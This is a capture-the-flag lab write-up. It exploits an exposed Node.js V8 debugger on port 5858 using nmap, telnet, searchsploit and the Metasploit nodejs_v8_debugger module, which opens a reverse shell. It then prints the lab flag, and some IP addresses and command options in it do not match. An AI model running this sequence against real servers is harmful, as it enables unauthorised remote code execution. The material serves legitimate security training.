Name	Vulnerable Debug Server
URL	https://attackdefense.com/challengedetails?cid=1953
Туре	Windows Exploitation: Basics

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Checking target IP address.

Note: The target IP address is stored in the "target" file.

**Command:** cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.0.53
root@attackdefense:~#
```

Step 2: Run an Nmap scan against the target IP.

**Command:** nmap --top-ports 65536 10.0.0.146

```
root@attackdefense:~# nmap --top-ports 6000 10.0.0.146
Starting Nmap 7.70 ( https://nmap.org ) at 2020-09-17 15:22 IST
Nmap scan report for ip-10-0-0-146.ap-southeast-1.compute.internal (10.0.0.146)
Host is up (0.0028s latency).
Not shown: 5988 closed ports
PORT
      STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5858/tcp open unknown
5985/tcp open wsman
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49165/tcp open unknown
49175/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 14.94 seconds
root@attackdefense:~#
```

**Step 3:** We have discovered that multiple ports are open. We will try to connect port 5858 using telnet.

Command: telnet 10.0.0.146 5858

```
root@attackdefense:~# telnet 10.0.0.146 5858
Trying 10.0.0.146...
Connected to 10.0.0.146.
Escape character is '^]'.
Type: connect
V8-Version: 5.5.372.43
Protocol-Version: 1
Embedding-Host: node v7.10.0
Content-Length: 0

Connection closed by foreign host.
root@attackdefense:~#
```

**Step 4:** We will search the exploit module for node 7.10.0 using searchsploit.

Command: searchsploit node

```
Node Browserify 4.2.0 - Remote Code Execution
Node.JS - 'node-serialize' Remote Code Execution
NodeJS Debugger - Command Injection (Metasploit)
NodeManager Professional 2.00 - Remote Buffer Overflow
Nodejs - 'js-yaml load()' Code Exec (Metasploit)
Nodesforum - '_nodesforum_node' SQL Injection
```

**Step 5:** There is a metasploit module for NodeJS Debugger. Exploiting the target server using metasploit framework.

## Commands:

msfconsole use exploit/multi/misc/nodejs\_v8\_debugger set RHOSTS 10.0.0.146 exploit

```
msf5 > use exploit/multi/misc/nodejs_v8_debugger
msf5 exploit(multi/misc/nodejs_v8_debugger) > set RHOSTS 10.0.0.146
RHOSTS => 10.0.0.146
msf5 exploit(multi/misc/nodejs_v8_debugger) > exploit

[*] Started reverse TCP handler on 10.10.0.4:4444
[*] 10.0.0.146:5858 - Sending 953 byte payload...
[*] 10.0.0.146:5858 - Got success response
[*] Command shell session 1 opened (10.10.0.4:4444 -> 10.0.0.146:49227) at 2020-09-17 15:29:40 +0530
C:\node>
C:\node>
```

We have successfully exploited the target.

Step 6: Searching the flag.

Command: cd / dir type flag.txt

```
C:\node>cd /
cd /
C:\>dir
dir
Volume in drive C has no label.
 Volume Serial Number is AEDF-99BD
 Directory of C:\
09/12/2020
                                     32 flag.txt
           10:33 AM
09/12/2020
            10:23 AM
                        <DIR>
                                        node
08/22/2013
            03:52 PM
                        <DIR>
                                        PerfLogs
09/12/2020
            10:11 AM
                        <DIR>
                                        Program Files
09/05/2020
            09:05 AM
                        <DIR>
                                        Program Files (x86)
09/10/2020
            09:50 AM
                        <DIR>
                                        Users
09/12/2020
            10:27 AM
                        <DIR>
                                        Windows
               1 File(s)
                                      32 bytes
               6 Dir(s)
                          9,194,229,760 bytes free
C:\>type flag.txt
type flag.txt
7b69ad8a8999d4ca7c42b8a729fb0ffd
```

This reveals the flag to us.

Flag: 7b69ad8a8999d4ca7c42b8a729fb0ffd

## References

- 1. NodeJS (<a href="https://nodejs.org/en/">https://nodejs.org/en/</a>)
- 2. Metasploit Module (<a href="https://www.rapid7.com/db/modules/exploit/multi/misc/nodejs-v8-debugger">https://www.rapid7.com/db/modules/exploit/multi/misc/nodejs-v8-debugger</a>)
- V8 Debugger Protocol (<a href="https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md">https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md</a>)